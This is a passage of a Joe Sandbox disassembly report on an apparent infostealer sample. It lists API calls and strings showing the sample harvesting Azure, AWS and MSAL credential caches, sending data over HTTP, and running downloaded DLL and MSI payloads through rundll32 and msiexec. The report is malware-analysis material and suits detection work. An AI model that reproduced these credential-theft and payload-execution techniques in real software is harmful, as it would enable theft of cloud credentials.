Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrcat.KERNEL32(?,00000000), ref: 0040AB3A
lstrcat.KERNEL32(?,004212C4), ref: 0040AB49
lstrcat.KERNEL32(?,00000000), ref: 0040AB5C
lstrcat.KERNEL32(?,004212C8), ref: 0040AB6B
lstrcat.KERNEL32(?,00000000), ref: 0040AB7E
lstrcat.KERNEL32(?,004212CC), ref: 0040AB8D
lstrcat.KERNEL32(?,00000000), ref: 0040ABA0
lstrcat.KERNEL32(?,004212D0), ref: 0040ABAF
lstrcat.KERNEL32(?,00000000), ref: 0040ABC2
lstrcat.KERNEL32(?,004212D4), ref: 0040ABD1
lstrcat.KERNEL32(?,00000000), ref: 0040ABE4
lstrcat.KERNEL32(?,004212D8), ref: 0040ABF3

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 0040AC3C
lstrcat.KERNEL32(?,004212DC), ref: 0040AC56
lstrlenA.KERNEL32(?), ref: 0040AC95
lstrlenA.KERNEL32(?), ref: 0040ACA4
memset.MSVCRT ref: 0040ACF3

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

DeleteFileA.KERNEL32(00000000), ref: 0040AD1F

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 3acddd8f0195151d5be52069155cafe268df4f25bafd4bbce6b8a0a53be5c866
Instruction ID: db3bf564d8a269597709baab17c241dc92c2864a2a44399f5d1cb95b81495e87
Opcode Fuzzy Hash: 3acddd8f0195151d5be52069155cafe268df4f25bafd4bbce6b8a0a53be5c866
Instruction Fuzzy Hash: 13029371901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

Function 0040CD30 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,01423C38,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01423488,00420B3E), ref: 0040CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0040CF0E
lstrcat.KERNEL32(?,00000000), ref: 0040D048
lstrcat.KERNEL32(?,0042141C), ref: 0040D057
lstrcat.KERNEL32(?,00000000), ref: 0040D06A
lstrcat.KERNEL32(?,00421420), ref: 0040D079
lstrcat.KERNEL32(?,00000000), ref: 0040D08C
lstrcat.KERNEL32(?,00421424), ref: 0040D09B
lstrcat.KERNEL32(?,00000000), ref: 0040D0AE
lstrcat.KERNEL32(?,00421428), ref: 0040D0BD
lstrcat.KERNEL32(?,00000000), ref: 0040D0D0
lstrcat.KERNEL32(?,0042142C), ref: 0040D0DF
lstrcat.KERNEL32(?,00000000), ref: 0040D0F2
lstrcat.KERNEL32(?,00421430), ref: 0040D101
lstrcat.KERNEL32(?,00000000), ref: 0040D114
lstrcat.KERNEL32(?,00421434), ref: 0040D123

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,0141AB80,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(?), ref: 0040D16A
lstrlenA.KERNEL32(?), ref: 0040D179
memset.MSVCRT ref: 0040D1C8

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

DeleteFileA.KERNEL32(00000000), ref: 0040D1F4

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 41a76dfe5de7f52c684ee966f956115872ddcfdb722daab0a99ab0f6e96a6f2c
Instruction ID: ed6c437cbd46477d92e2fdf931dfcacd4144c719bc88927133304dc8b30d11c2
Opcode Fuzzy Hash: 41a76dfe5de7f52c684ee966f956115872ddcfdb722daab0a99ab0f6e96a6f2c
Instruction Fuzzy Hash: 25E1A271901108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF786E99CB6A

Function 00414850 Relevance: 30.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414867

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

memset.MSVCRT ref: 004148F3
lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

memset.MSVCRT ref: 0041497F
lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,01424BB8), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576

memset.MSVCRT ref: 00414A0B

Strings

*.*, xrefs: 00414944
Azure\.aws, xrefs: 0041493F
*.*, xrefs: 004148B8
\.aws\, xrefs: 0041492D
msal.cache, xrefs: 004149D0
Azure\.IdentityService, xrefs: 004149CB
Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC
Azure\.azure, xrefs: 004148B3
\.azure\, xrefs: 004148A1
\.IdentityService\, xrefs: 004149B9

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$memset$Findwsprintf$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2615841231-156850865
Opcode ID: 974132d3907a12f0df6a38a863128c841180f23f20874baab723c8f046735834
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: 974132d3907a12f0df6a38a863128c841180f23f20874baab723c8f046735834
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,01424A38), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,01424A98), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,01424A78,?,01423F78,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

", xrefs: 00404D83
------, xrefs: 00404B78
------, xrefs: 00404A0D
------, xrefs: 00404CB9
", xrefs: 00404C42

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$??2@ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 594634378-2180234286
Opcode ID: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 004062D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,01424A38), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,01423F78,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

GET, xrefs: 004063CC
ERROR, xrefs: 00406519
ERROR, xrefs: 00406457

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$??2@ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3871519372-2509457195
Opcode ID: 6ad785f35fa68d3d8515b354bca9dde49f25453516272547c66f8ce85164f282
Instruction ID: cbac5eee591d607aa173065357eefb87c001816e051c1cde1c99a9b9dc38779b
Opcode Fuzzy Hash: 6ad785f35fa68d3d8515b354bca9dde49f25453516272547c66f8ce85164f282
Instruction Fuzzy Hash: AA719F71A00218EBDB24DFA0DC49FEEB775AF44704F1080AAF50A6B1D0DBB86A85CF55

Function 00414FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,0141AB80,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415337

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00414CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00414DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E63
Part of subcall function 00414DA0: strtok.MSVCRT ref: 00414E7E
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004154EC
Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 004154DE
ERROR, xrefs: 0041525D
ERROR, xrefs: 00415329
ERROR, xrefs: 00415116
ERROR, xrefs: 00415173
ERROR, xrefs: 00415412

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: bf98e0ed572dcf36378be383e1e9b853d5fe1dcc41b170c68f2471da1b8c4d55
Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: bf98e0ed572dcf36378be383e1e9b853d5fe1dcc41b170c68f2471da1b8c4d55
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 00412940 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

ShellExecuteEx.SHELL32(0000003C), ref: 00412CD5
ShellExecuteEx.SHELL32(0000003C), ref: 00412E6D
ShellExecuteEx.SHELL32(0000003C), ref: 00412FFA

Strings

"" , xrefs: 00412BAA
.msi, xrefs: 00412EA8
C:\Windows\system32\rundll32.exe, xrefs: 00412E42
/passive, xrefs: 00412F6B
<, xrefs: 00412FA0
C:\Windows\system32\msiexec.exe, xrefs: 00412FCF
.dll, xrefs: 00412CF5
/i ", xrefs: 00412EF4

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 8a857a4477adb986954f2aa79249c887d2c34b9584a6d767cbac78888b7f7f6b
Instruction ID: f1658c825a9884a12c356146fd8d4c6d848a61a952cd10e5c69c9f5a52c1d3c9
Opcode Fuzzy Hash: 8a857a4477adb986954f2aa79249c887d2c34b9584a6d767cbac78888b7f7f6b
Instruction Fuzzy Hash: FA121F71811108AACB14FBA1DC96FDEB778AF14314F40415EF40666192EF782BD9CFAA

Function 00417DC0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

RegOpenKeyExA.KERNEL32(00000000,01416838,00000000,00020019,00000000,004205A6), ref: 00417E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

%s\%s, xrefs: 00417EED
?, xrefs: 00417E1A
- , xrefs: 00418043

Memory Dump Source

